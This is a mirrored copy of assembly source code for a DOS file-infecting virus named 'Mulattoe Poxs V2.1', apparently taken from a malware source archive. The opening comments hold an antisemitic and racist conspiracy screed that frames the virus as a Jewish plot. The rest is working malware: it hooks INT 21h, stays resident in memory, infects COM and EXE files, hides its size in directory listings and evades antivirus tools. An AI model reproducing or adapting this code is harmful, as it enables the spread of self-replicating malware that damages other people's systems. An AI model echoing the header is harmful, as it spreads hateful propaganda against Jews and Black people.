mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
841 lines
62 KiB
NASM
841 lines
62 KiB
NASM
|
|
|||
|
; This Virus was hacked In Israel, to promote the Mongrelization of the
|
|||
|
; White race in general, we the jews of Israel deem it antagonistic to Jewish
|
|||
|
; Intrests that Whites are not all Mulattoes by now, we wish the further
|
|||
|
; erode the barriers of racial mixing of Whites and Blacks, we believe
|
|||
|
; that Mixing Whites with Blacks is a Better course for the FINAL SOLUTION
|
|||
|
; of the White problem on this earth, we Jews deem it G-Ds bidding and choice
|
|||
|
; that We rule over the earth and its people as WE see fit, not how the goyim
|
|||
|
; See fit.. And for the NEW WORLD ORDER which was pledged to us! Oct. 6, 1940
|
|||
|
; New York Times and Look Magazine I predict, Jan, 16, 1962
|
|||
|
;
|
|||
|
; We have desided with the grace of G-D to make a New Variant of this Virus
|
|||
|
; The B'nai B'rith has received it's orders, the ADL is now indoctrinated
|
|||
|
; to the will of the Israeli government, Prepare for Extinction through
|
|||
|
; Miscgenation you white scum goyim!
|
|||
|
;
|
|||
|
; We were very estatic over the release of our first Miscgenating virus
|
|||
|
; we forgot to check our holy talmudic spelling
|
|||
|
;
|
|||
|
; It's the Holy Talmudic Mulattoe Poxs Virus! Mulattoes to the Western world!
|
|||
|
; -=*=Mulattoe Poxs V2.1=*=-
|
|||
|
|
|||
|
virus_size equ last - init_virus ;Virus size
|
|||
|
mut1 equ 3
|
|||
|
mut2 equ 1
|
|||
|
mut3 equ 103h ;Offset location
|
|||
|
|
|||
|
seg_a segment byte public
|
|||
|
assume cs:seg_a, ds:seg_a
|
|||
|
org 100h ;COM file!
|
|||
|
rocko proc far
|
|||
|
start: jmp init_virus
|
|||
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
|||
|
; Virus Begins Here...
|
|||
|
;-------------------------------------------------------------------------
|
|||
|
init_virus: call doit_now ;Doit VirusMan...
|
|||
|
doit_now: pop bp ;Not to Lose Track
|
|||
|
sub bp,83h ;Set our position
|
|||
|
sub bp,83h
|
|||
|
push ax ;Save all the regesters
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push si
|
|||
|
push di
|
|||
|
push bp
|
|||
|
push es
|
|||
|
push ds
|
|||
|
mov ax,4000h ;Are we resident Already?
|
|||
|
add ax,9cbah
|
|||
|
int 21h ;***McAfee Scan String!
|
|||
|
cmp bx,0dcbah ;Yupe... Quit Then...
|
|||
|
je exit_com
|
|||
|
push cs ;Get CS=DS
|
|||
|
pop ds
|
|||
|
mov cx,es
|
|||
|
mov ax,3521h ;Sometimes tend to inter-
|
|||
|
int 21h ;cept this Interrupt...
|
|||
|
mov word ptr cs:[int21+2][bp],es ;Save the Int
|
|||
|
mov word ptr cs:[int21][bp],bx ;Vector Table
|
|||
|
dec cx ;Get a new Memory block
|
|||
|
mov es,cx ;Put it Back to ES
|
|||
|
mov bx,es:mut1 ;Get TOM size
|
|||
|
mov dx,virus_size ;Virus size in DX
|
|||
|
mov cl,4 ;Shift 4 bits
|
|||
|
shr dx,cl ;Fast way to divide by 16
|
|||
|
add dx,4 ;add 1 more para segment
|
|||
|
mov cx,es ;current MCB segment
|
|||
|
sub bx,dx ;sub virus_size from TOM
|
|||
|
inc cx ;put back right location
|
|||
|
mov es,cx
|
|||
|
mov ah,4ah ;Set_block
|
|||
|
int 21h
|
|||
|
|
|||
|
jc exit_com
|
|||
|
mov ah,48h ;now allocate it
|
|||
|
dec dx ;number of para
|
|||
|
mov bx,dx ;
|
|||
|
int 21h
|
|||
|
jc exit_com
|
|||
|
dec ax ;get MCB
|
|||
|
mov es,ax
|
|||
|
mov cx,8h ;Made DOS the owner of MCB
|
|||
|
mov es:mut2,cx ;put it...
|
|||
|
sub ax,0fh ;get TOM
|
|||
|
mov di,mut3 ;beginnig of our loc in mem
|
|||
|
mov es,ax ;
|
|||
|
; mov si,bp ;delta pointer
|
|||
|
; add si,offset init_virus ;where to start
|
|||
|
lea si, [bp+offset init_virus]
|
|||
|
mov cx,virus_size
|
|||
|
cld
|
|||
|
repne movsb ;move us
|
|||
|
|
|||
|
mov ax,2521h ;Restore Int21 with ours
|
|||
|
mov dx,offset int21_handler ;Where it starts
|
|||
|
push es
|
|||
|
pop ds
|
|||
|
int 21h
|
|||
|
exit_com: push cs
|
|||
|
pop ds
|
|||
|
cmp word ptr cs:[buffer][bp],5A4Dh
|
|||
|
je exit_exe_file
|
|||
|
; mov bx,offset buffer ;Its a COM file restore
|
|||
|
; add bx,bp ;First three Bytes...
|
|||
|
lea bx, [bp+offset buffer]
|
|||
|
mov ax,[bx] ;Mov the Byte to AX
|
|||
|
mov word ptr ds:[100h],ax ;First two bytes Restored
|
|||
|
add bx,2 ;Get the next Byte
|
|||
|
mov al,[bx] ;Move the Byte to AL
|
|||
|
mov byte ptr ds:[102h],al ;Restore the Last of 3b
|
|||
|
pop ds
|
|||
|
pop es
|
|||
|
pop bp ;Restore Regesters
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
; mov ax,100h ;Jump Back to Beginning
|
|||
|
mov ax,0fEffh
|
|||
|
not ax
|
|||
|
push ax ;Restores our IP (a CALL
|
|||
|
retn ;Saves them, now we changed
|
|||
|
command db "C:\COMMAND.COM",0
|
|||
|
|
|||
|
exit_exe_file: mov bx,word ptr cs:[vir_cs][bp] ;fix segment loc
|
|||
|
mov dx,cs ;
|
|||
|
sub dx,bx
|
|||
|
mov ax,dx
|
|||
|
add ax,word ptr cs:[exe_cs][bp] ;add it to our segs
|
|||
|
add dx,word ptr cs:[exe_ss][bp]
|
|||
|
mov bx,word ptr cs:[exe_ip][bp]
|
|||
|
mov word ptr cs:[fuck_yeah][bp],bx
|
|||
|
mov word ptr cs:[fuck_yeah+2][bp],ax
|
|||
|
mov ax,word ptr cs:[exe_ip][bp]
|
|||
|
mov word ptr cs:[Rock_fix1][bp],dx
|
|||
|
mov word ptr cs:[Rock_fix2][bp],ax
|
|||
|
pop ds
|
|||
|
pop es
|
|||
|
pop bp
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
db 0B8h ;nothing but MOV AX,XXXX
|
|||
|
Rock_Fix1:
|
|||
|
dw 0
|
|||
|
cli
|
|||
|
mov ss,ax
|
|||
|
db 0BCh ;nothing but MOV SP,XXXX
|
|||
|
Rock_Fix2:
|
|||
|
dw 0
|
|||
|
sti
|
|||
|
db 0EAh ;nothing but JMP XXXX:XXXX
|
|||
|
Fuck_yeah:
|
|||
|
dd 0
|
|||
|
int21 dd ? ;Our Old Int21
|
|||
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
|||
|
; Dir Handler
|
|||
|
;-------------------------------------------------------------------------
|
|||
|
old_dir: call calldos21 ;get FCB
|
|||
|
test al,al ;error?
|
|||
|
jnz old_out ;nope
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
push es
|
|||
|
mov ah,51h ;get PSP
|
|||
|
int 21h
|
|||
|
mov es,bx ;
|
|||
|
cmp bx,es:[16h] ;
|
|||
|
jnz not_infected
|
|||
|
mov bx,dx
|
|||
|
mov al,[bx]
|
|||
|
push ax
|
|||
|
mov ah,2fh
|
|||
|
int 21h
|
|||
|
pop ax
|
|||
|
inc al ;Extended FCB?
|
|||
|
jnz fcb_okay
|
|||
|
add bx,7h
|
|||
|
fcb_okay: mov ax,es:[bx+17h]
|
|||
|
and ax,1fh
|
|||
|
cmp al,1eh
|
|||
|
jnz not_infected
|
|||
|
and byte ptr es:[bx+17h],0e0h ;fix secs
|
|||
|
sub word ptr es:[bx+1dh],virus_size
|
|||
|
sbb word ptr es:[bx+1fh],0
|
|||
|
not_infected: pop es
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
old_out: iret
|
|||
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
|||
|
; Int 21 Handler
|
|||
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
|||
|
int21_handler: cmp ah,11h
|
|||
|
je old_dir
|
|||
|
cmp ah,12h
|
|||
|
je old_dir
|
|||
|
cmp ax,4b00h ;File executed
|
|||
|
je dis_infect
|
|||
|
cmp ah,3dh
|
|||
|
je check_file
|
|||
|
cmp ah,3eh
|
|||
|
je check_file2
|
|||
|
; cmp ax,0dcbah ;Virus testing
|
|||
|
sub ax,9cbah
|
|||
|
cmp ax,4000h
|
|||
|
add ax,9cbah
|
|||
|
jne int21call
|
|||
|
sub bx,9cbah
|
|||
|
mov bx,4000h
|
|||
|
add bx,9cbah
|
|||
|
int21call: jmp dword ptr cs:[int21] ;Split...
|
|||
|
|
|||
|
check_file: jmp opening_file ;Like a Charm
|
|||
|
check_file2: jmp closing_file
|
|||
|
dis_infect: call disinfect ;EXE & COM okay
|
|||
|
dont_disinfect: push dx
|
|||
|
pushf
|
|||
|
push cs
|
|||
|
call int21call
|
|||
|
pop dx
|
|||
|
|
|||
|
execute: push ax
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push ds
|
|||
|
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push ds
|
|||
|
push bp
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov dx,offset command
|
|||
|
mov bp,0dcbah
|
|||
|
jmp command1
|
|||
|
command_ret: pop bp
|
|||
|
pop ds
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
call check_4_av
|
|||
|
jc exit1
|
|||
|
command1: mov ax,4300h ;Get file Attribs
|
|||
|
call calldos21
|
|||
|
jc exit1
|
|||
|
test cl,1h ;Make sure there normal
|
|||
|
jz open_file ;Okay there are
|
|||
|
and cl,0feh ;Nope, Fix them...
|
|||
|
mov ax,4301h ;Save them now
|
|||
|
call calldos21
|
|||
|
jc exit
|
|||
|
open_file: mov ax,3D02h
|
|||
|
call calldos21
|
|||
|
exit1: jc exit
|
|||
|
xchg bx,ax ;BX File handler
|
|||
|
mov ax,5700h ;Get file TIME + DATE
|
|||
|
Call calldos21
|
|||
|
mov al,cl
|
|||
|
or cl,1fh ;Un mask Seconds
|
|||
|
dec cx ;60 seconds
|
|||
|
xor al,cl ;Is it 60 seconds?
|
|||
|
jz exit ;File already infected
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov word ptr ds:[old_time],cx ;Save Time
|
|||
|
mov word ptr ds:[old_date],dx ;Save Date
|
|||
|
mov ah,3Fh
|
|||
|
mov cx,1Bh ;Read first 1B
|
|||
|
mov dx,offset ds:[buffer] ;into our Buffer
|
|||
|
call calldos21
|
|||
|
jc exit_now ;Error Split
|
|||
|
mov ax,4202h ;Move file pointer
|
|||
|
xor cx,cx ;to EOF File
|
|||
|
xor dx,dx
|
|||
|
call calldos21
|
|||
|
jc exit_now ;Error Split
|
|||
|
cmp word ptr ds:[buffer],5A4Dh ;Is file an EXE?
|
|||
|
je exe_infect ;Infect EXE file
|
|||
|
mov cx,ax
|
|||
|
sub cx,3 ;Set the JMP
|
|||
|
mov word ptr ds:[jump_address+1],cx
|
|||
|
call infect_me ;Infect!
|
|||
|
jc exit
|
|||
|
mov ah,40h ;Write back the
|
|||
|
mov dx,offset jump_address
|
|||
|
mov cx,3h
|
|||
|
call calldos21
|
|||
|
exit_now:
|
|||
|
mov cx,word ptr ds:[old_time] ;Restore old time
|
|||
|
mov dx,word ptr ds:[old_date] ;Restore Old date
|
|||
|
mov ax,5701h
|
|||
|
call calldos21
|
|||
|
mov ah,3Eh
|
|||
|
call calldos21
|
|||
|
exit: cmp bp,0dcbah
|
|||
|
je command2
|
|||
|
pop ds
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
iret
|
|||
|
command2: jmp command_ret
|
|||
|
|
|||
|
exe_infect: mov cx,word ptr cs:[buffer+20]
|
|||
|
mov word ptr cs:[exe_ip],cx
|
|||
|
mov cx,word ptr cs:[buffer+22]
|
|||
|
mov word ptr cs:[exe_cs],cx
|
|||
|
mov cx,word ptr cs:[buffer+16]
|
|||
|
mov word ptr cs:[exe_sp],cx
|
|||
|
mov cx,word ptr cs:[buffer+14]
|
|||
|
mov word ptr cs:[exe_ss],cx
|
|||
|
push ax
|
|||
|
push dx
|
|||
|
call multiply
|
|||
|
sub dx,word ptr cs:[buffer+8]
|
|||
|
mov word ptr cs:[vir_cs],dx
|
|||
|
push ax
|
|||
|
push dx
|
|||
|
call infect_me
|
|||
|
pop dx
|
|||
|
pop ax
|
|||
|
mov word ptr cs:[buffer+22],dx
|
|||
|
mov word ptr cs:[buffer+20],ax
|
|||
|
pop dx
|
|||
|
pop ax
|
|||
|
jc exit
|
|||
|
add ax,virus_size
|
|||
|
adc dx,0
|
|||
|
push ax
|
|||
|
push dx
|
|||
|
call multiply
|
|||
|
sub dx,word ptr cs:[buffer+8]
|
|||
|
add ax,40h
|
|||
|
mov word ptr cs:[buffer+14],dx
|
|||
|
mov word ptr cs:[buffer+16],ax
|
|||
|
pop dx
|
|||
|
pop ax
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
mov cl,7
|
|||
|
shl dx,cl
|
|||
|
xchg bx,ax
|
|||
|
mov cl,9
|
|||
|
shr bx,cl
|
|||
|
add dx,bx
|
|||
|
and ax,1FFh
|
|||
|
jz outta_here
|
|||
|
inc dx
|
|||
|
outta_here: pop cx
|
|||
|
pop bx
|
|||
|
mov word ptr cs:[buffer+2],ax
|
|||
|
mov word ptr cs:[buffer+4],dx
|
|||
|
mov ah,40h
|
|||
|
mov dx,offset ds:[buffer]
|
|||
|
mov cx,20h
|
|||
|
call calldos21
|
|||
|
exit_exe: jmp exit_now
|
|||
|
rocko endp
|
|||
|
vir_cs dw 0
|
|||
|
exe_ip dw 0
|
|||
|
exe_cs dw 0
|
|||
|
exe_sp dw 0
|
|||
|
exe_ss dw 0
|
|||
|
exe_sz dw 0
|
|||
|
exe_rm dw 0
|
|||
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
|||
|
; Opening File handle AX=3D
|
|||
|
;-------------------------------------------------------------------------
|
|||
|
opening_file: call check_extension
|
|||
|
jnc open_fuck2
|
|||
|
call check_exten_exe
|
|||
|
jnc open_fuck2
|
|||
|
jmp dword ptr cs:[int21]
|
|||
|
open_fuck2: push ax
|
|||
|
mov ax,3d02h
|
|||
|
call calldos21
|
|||
|
jnc open_fuck1
|
|||
|
pop ax
|
|||
|
iret
|
|||
|
open_fuck1: push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push ds
|
|||
|
xchg bx,ax
|
|||
|
mov ax,5700h
|
|||
|
call calldos21
|
|||
|
mov al,cl
|
|||
|
or cl,1fh
|
|||
|
dec cx ;60 Seconds
|
|||
|
xor al,cl
|
|||
|
jnz opening_exit3
|
|||
|
dec cx
|
|||
|
mov word ptr cs:[old_time],cx
|
|||
|
mov word ptr cs:[old_date],dx
|
|||
|
mov ax,4202h ;Yes Pointer to EOF
|
|||
|
xor cx,cx
|
|||
|
xor dx,dx
|
|||
|
call calldos21
|
|||
|
mov cx,dx
|
|||
|
mov dx,ax
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
sub dx,1Bh ;Get first 3 Bytes
|
|||
|
sbb cx,0
|
|||
|
mov ax,4200h
|
|||
|
call calldos21
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov ah,3fh ;Read them into Buffer
|
|||
|
mov cx,1Bh
|
|||
|
mov dx,offset buffer
|
|||
|
call calldos21
|
|||
|
xor cx,cx ;Goto Beginning of File
|
|||
|
xor dx,dx
|
|||
|
mov ax,4200h
|
|||
|
call calldos21
|
|||
|
mov ah,40h ;Write first three bytes
|
|||
|
mov dx,offset buffer
|
|||
|
mov cx,1Bh
|
|||
|
cmp word ptr cs:[buffer],5A4Dh
|
|||
|
je open_exe_jmp
|
|||
|
mov cx,3h
|
|||
|
open_exe_jmp: call calldos21
|
|||
|
pop dx ;EOF - Virus_Size
|
|||
|
pop cx ;to get ORIGINAL File size
|
|||
|
sub dx,virus_size
|
|||
|
sbb cx,0
|
|||
|
mov ax,4200h
|
|||
|
call calldos21
|
|||
|
mov ah,40h ;Fix Bytes
|
|||
|
xor cx,cx
|
|||
|
call calldos21
|
|||
|
mov cx,word ptr cs:[old_time]
|
|||
|
mov dx,word ptr cs:[old_date]
|
|||
|
mov ax,5701h
|
|||
|
int 21h
|
|||
|
mov ah,3eh ;Close File
|
|||
|
call calldos21
|
|||
|
opening_exit3: pop ds
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
jmp dword ptr cs:[int21]
|
|||
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
|||
|
; Closing File Handle INFECT it!
|
|||
|
;-------------------------------------------------------------------------
|
|||
|
closing_file: cmp bx,0h
|
|||
|
je closing_bye
|
|||
|
cmp bx,5h
|
|||
|
ja close_cont
|
|||
|
closing_bye: jmp dword ptr cs:[int21]
|
|||
|
|
|||
|
close_cont: push ax
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push di
|
|||
|
push ds
|
|||
|
push es
|
|||
|
push bp
|
|||
|
push bx
|
|||
|
mov ax,1220h
|
|||
|
int 2fh
|
|||
|
mov ax,1216h
|
|||
|
mov bl,es:[di]
|
|||
|
int 2fh
|
|||
|
pop bx
|
|||
|
add di,0011h
|
|||
|
mov byte ptr es:[di-0fh],02h
|
|||
|
add di,0017h
|
|||
|
cmp word ptr es:[di],'OC'
|
|||
|
jne closing_next_try
|
|||
|
cmp byte ptr es:[di+2h],'M'
|
|||
|
jne pre_exit
|
|||
|
jmp closing_cunt3
|
|||
|
closing_next_try:
|
|||
|
cmp word ptr es:[di],'XE'
|
|||
|
jne pre_exit
|
|||
|
cmp byte ptr es:[di+2h],'E'
|
|||
|
jne pre_exit
|
|||
|
closing_cunt: cmp word ptr es:[di-8],'CS'
|
|||
|
jnz closing_cunt1 ;SCAN
|
|||
|
cmp word ptr es:[di-6],'NA'
|
|||
|
jz pre_exit
|
|||
|
closing_cunt1: cmp word ptr es:[di-8],'-F'
|
|||
|
jnz closing_cunt2 ;F-PROT
|
|||
|
cmp word ptr es:[di-6],'RP'
|
|||
|
jz pre_exit
|
|||
|
closing_cunt2: cmp word ptr es:[di-8],'LC'
|
|||
|
jnz closing_cunt3
|
|||
|
cmp word ptr es:[di-6],'AE' ;CLEAN
|
|||
|
jnz closing_cunt3
|
|||
|
pre_exit: jmp closing_nogood
|
|||
|
closing_cunt3: mov ax,5700h
|
|||
|
call calldos21
|
|||
|
|
|||
|
mov al,cl
|
|||
|
or cl,1fh
|
|||
|
dec cx ;60 Seconds
|
|||
|
xor al,cl
|
|||
|
jz closing_nogood
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov word ptr ds:[old_time],cx
|
|||
|
mov word ptr ds:[old_date],dx
|
|||
|
mov ax,4200h
|
|||
|
xor cx,cx
|
|||
|
xor dx,dx
|
|||
|
call calldos21
|
|||
|
mov ah,3fh
|
|||
|
mov cx,1Bh
|
|||
|
mov dx,offset buffer
|
|||
|
call calldos21
|
|||
|
jc closing_no_good
|
|||
|
mov ax,4202h
|
|||
|
xor cx,cx
|
|||
|
xor dx,dx
|
|||
|
call calldos21
|
|||
|
jc closing_no_good
|
|||
|
cmp word ptr ds:[buffer],5A4Dh
|
|||
|
je closing_exe
|
|||
|
mov cx,ax
|
|||
|
sub cx,3h
|
|||
|
mov word ptr ds:[jump_address+1],cx
|
|||
|
call infect_me
|
|||
|
jc closing_no_good
|
|||
|
mov ah,40h
|
|||
|
mov dx,offset jump_address
|
|||
|
mov cx,3h
|
|||
|
call calldos21
|
|||
|
closing_no_good:
|
|||
|
mov cx,word ptr ds:[old_time]
|
|||
|
mov dx,word ptr ds:[old_date]
|
|||
|
mov ax,5701h
|
|||
|
call calldos21
|
|||
|
closing_nogood: pop bp
|
|||
|
pop es
|
|||
|
pop ds
|
|||
|
pop di
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
jmp dword ptr cs:[int21]
|
|||
|
closing_exe: mov cx,word ptr cs:[buffer+20]
|
|||
|
mov word ptr cs:[exe_ip],cx
|
|||
|
mov cx,word ptr cs:[buffer+22]
|
|||
|
mov word ptr cs:[exe_cs],cx
|
|||
|
mov cx,word ptr cs:[buffer+16]
|
|||
|
mov word ptr cs:[exe_sp],cx
|
|||
|
mov cx,word ptr cs:[buffer+14]
|
|||
|
mov word ptr cs:[exe_ss],cx
|
|||
|
push ax
|
|||
|
push dx
|
|||
|
call multiply
|
|||
|
sub dx,word ptr cs:[buffer+8]
|
|||
|
mov word ptr cs:[vir_cs],dx
|
|||
|
push ax
|
|||
|
push dx
|
|||
|
call infect_me
|
|||
|
pop dx
|
|||
|
pop ax
|
|||
|
mov word ptr cs:[buffer+22],dx
|
|||
|
mov word ptr cs:[buffer+20],ax
|
|||
|
pop dx
|
|||
|
pop ax
|
|||
|
jc closing_no_good
|
|||
|
add ax,virus_size
|
|||
|
adc dx,0
|
|||
|
push ax
|
|||
|
push dx
|
|||
|
call multiply
|
|||
|
sub dx,word ptr cs:[buffer+8]
|
|||
|
add ax,40h
|
|||
|
mov word ptr cs:[buffer+14],dx
|
|||
|
mov word ptr cs:[buffer+16],ax
|
|||
|
pop dx
|
|||
|
pop ax
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
mov cl,7
|
|||
|
shl dx,cl
|
|||
|
xchg bx,ax
|
|||
|
mov cl,9
|
|||
|
shr bx,cl
|
|||
|
add dx,bx
|
|||
|
and ax,1FFh
|
|||
|
jz close_split
|
|||
|
inc dx
|
|||
|
close_split: pop cx
|
|||
|
pop bx
|
|||
|
mov word ptr cs:[buffer+2],ax
|
|||
|
mov word ptr cs:[buffer+4],dx
|
|||
|
mov ah,40h
|
|||
|
mov dx,offset ds:[buffer]
|
|||
|
mov cx,20h
|
|||
|
call calldos21
|
|||
|
closing_over: jmp closing_no_good
|
|||
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
|||
|
; Infection Routine...
|
|||
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
|||
|
infect_me proc
|
|||
|
mov ah,40h
|
|||
|
mov dx,offset init_virus
|
|||
|
mov cx,virus_size
|
|||
|
call calldos21
|
|||
|
jc exit_error ;Error Split
|
|||
|
mov ax,4200h
|
|||
|
xor cx,cx ;Pointer back to
|
|||
|
xor dx,dx ;top of file
|
|||
|
call calldos21
|
|||
|
jc exit_error ;Split Dude...
|
|||
|
clc ;Clear carry flag
|
|||
|
ret
|
|||
|
exit_error:
|
|||
|
stc ;Set carry flag
|
|||
|
ret
|
|||
|
infect_me endp
|
|||
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
|||
|
; DisInfection Routine for 4B
|
|||
|
;-------------------------------------------------------------------------
|
|||
|
Disinfect PROC
|
|||
|
push ax
|
|||
|
push bx ;Save them
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push ds
|
|||
|
mov ax,4300h ;Get file Attribs
|
|||
|
call calldos21
|
|||
|
test cl,1h ;Test for Normal Attribs
|
|||
|
jz okay_dis ;Yes, File can be opened
|
|||
|
and cl,0feh ;No, Set them to Normal
|
|||
|
mov ax,4301h ;Save attribs to file
|
|||
|
call calldos21
|
|||
|
jc half_way
|
|||
|
okay_dis: mov ax,3d02h ;File now can be opened
|
|||
|
call calldos21 ;Safely
|
|||
|
jc half_way
|
|||
|
xchg bx,ax ;Put File Handle in BX
|
|||
|
mov ax,5700h ;Get File Time & Date
|
|||
|
call calldos21
|
|||
|
mov al,cl ;Check to see if infected
|
|||
|
or cl,1fh ;Unmask Seconds
|
|||
|
dec cx ;Test to see if 60 seconds
|
|||
|
xor al,cl
|
|||
|
jnz half_way ;No, Quit File AIN'T
|
|||
|
dec cx
|
|||
|
mov word ptr cs:[old_time],cx
|
|||
|
mov word ptr cs:[old_date],dx
|
|||
|
mov ax,4202h ;Yes, file is infected
|
|||
|
xor cx,cx ;Goto the End of File
|
|||
|
xor dx,dx
|
|||
|
call calldos21
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov cx,dx ;Save Location into
|
|||
|
mov dx,ax ;CX:DX
|
|||
|
push cx ;Push them for later use
|
|||
|
push dx
|
|||
|
sub dx,1Bh ;Subtract file 1Bh from the
|
|||
|
sbb cx,0 ;End so you will find the
|
|||
|
mov ax,4200h ;Original EXE header or
|
|||
|
call calldos21 ;First 3 bytes for COMs
|
|||
|
mov ah,3fh ;Read them into Buffer
|
|||
|
mov cx,1Bh ;Read all of the 1B bytes
|
|||
|
mov dx,offset buffer ;Put them into our buffer
|
|||
|
call calldos21
|
|||
|
jmp half
|
|||
|
half_way: jmp end_dis
|
|||
|
half: xor cx,cx ;
|
|||
|
xor dx,dx ;Goto the BEGINNING of file
|
|||
|
mov ax,4200h
|
|||
|
call calldos21
|
|||
|
mov ah,40h ;Write first three bytes
|
|||
|
mov dx,offset buffer ;from buffer to COM
|
|||
|
mov cx,1Bh
|
|||
|
cmp word ptr cs:[buffer],5A4Dh
|
|||
|
je dis_exe_jmp
|
|||
|
mov cx,3h
|
|||
|
dis_exe_jmp: call calldos21
|
|||
|
pop dx ;Restore CX:DX which they
|
|||
|
pop cx ;to the End of FILE
|
|||
|
sub dx,virus_size ;Remove Virus From the END
|
|||
|
sbb cx,0 ;of the Orignal File
|
|||
|
mov ax,4200h ;Get new EOF
|
|||
|
call calldos21
|
|||
|
mov ah,40h ;Write new EOF to File
|
|||
|
xor cx,cx
|
|||
|
call calldos21
|
|||
|
mov cx,word ptr cs:[old_time]
|
|||
|
mov dx,word ptr cs:[old_date]
|
|||
|
mov ax,5701h
|
|||
|
call calldos21
|
|||
|
mov ah,3eh ;Close File
|
|||
|
call calldos21
|
|||
|
end_dis: pop ds
|
|||
|
pop dx
|
|||
|
pop cx ;Restore 'em
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
disinfect ENDP
|
|||
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
|||
|
; Check File Extension DS:DX ASCIIZ
|
|||
|
;--------------------------------------------------------------------------
|
|||
|
Check_extension PROC
|
|||
|
push si
|
|||
|
push cx
|
|||
|
mov si,dx
|
|||
|
mov cx,256h
|
|||
|
loop_me: cmp byte ptr ds:[si],2eh
|
|||
|
je next_ok
|
|||
|
inc si
|
|||
|
loop loop_me
|
|||
|
next_ok: cmp word ptr ds:[si+1],'OC'
|
|||
|
jne next_1
|
|||
|
cmp byte ptr ds:[si+3],'M'
|
|||
|
je good_file
|
|||
|
next_1: cmp word ptr ds:[si+1],'oc'
|
|||
|
jne next_2
|
|||
|
cmp byte ptr ds:[si+3],'m'
|
|||
|
je good_file
|
|||
|
next_2: pop cx
|
|||
|
pop si
|
|||
|
stc
|
|||
|
ret
|
|||
|
good_file: pop cx
|
|||
|
pop si
|
|||
|
clc
|
|||
|
ret
|
|||
|
Check_extension ENDP
|
|||
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
|||
|
; Check File Extension DS:DX ASCIIZ
|
|||
|
;-------------------------------------------------------------------------
|
|||
|
Check_exten_exe PROC
|
|||
|
push si
|
|||
|
push cx
|
|||
|
mov si,dx
|
|||
|
mov cx,256h
|
|||
|
loop_me_exe: cmp byte ptr ds:[si],2eh
|
|||
|
je next_ok_exe
|
|||
|
inc si
|
|||
|
loop loop_me_exe
|
|||
|
next_ok_exe: cmp word ptr ds:[si+1],'XE'
|
|||
|
jne next_1_exe
|
|||
|
cmp byte ptr ds:[si+3],'E'
|
|||
|
je good_file_exe
|
|||
|
next_1_exe: cmp word ptr ds:[si+1],'xe'
|
|||
|
jne next_2_exe
|
|||
|
cmp byte ptr ds:[si+3],'e'
|
|||
|
je good_file_exe
|
|||
|
next_2_exe: pop cx
|
|||
|
pop si
|
|||
|
stc
|
|||
|
ret
|
|||
|
good_file_exe: pop cx
|
|||
|
pop si
|
|||
|
clc
|
|||
|
ret
|
|||
|
Check_exten_exe ENDP
|
|||
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
|||
|
; Call Int_21h Okay
|
|||
|
;-------------------------------------------------------------------------
|
|||
|
calldos21 PROC
|
|||
|
pushf
|
|||
|
call dword ptr cs:[int21]
|
|||
|
retn
|
|||
|
calldos21 ENDP
|
|||
|
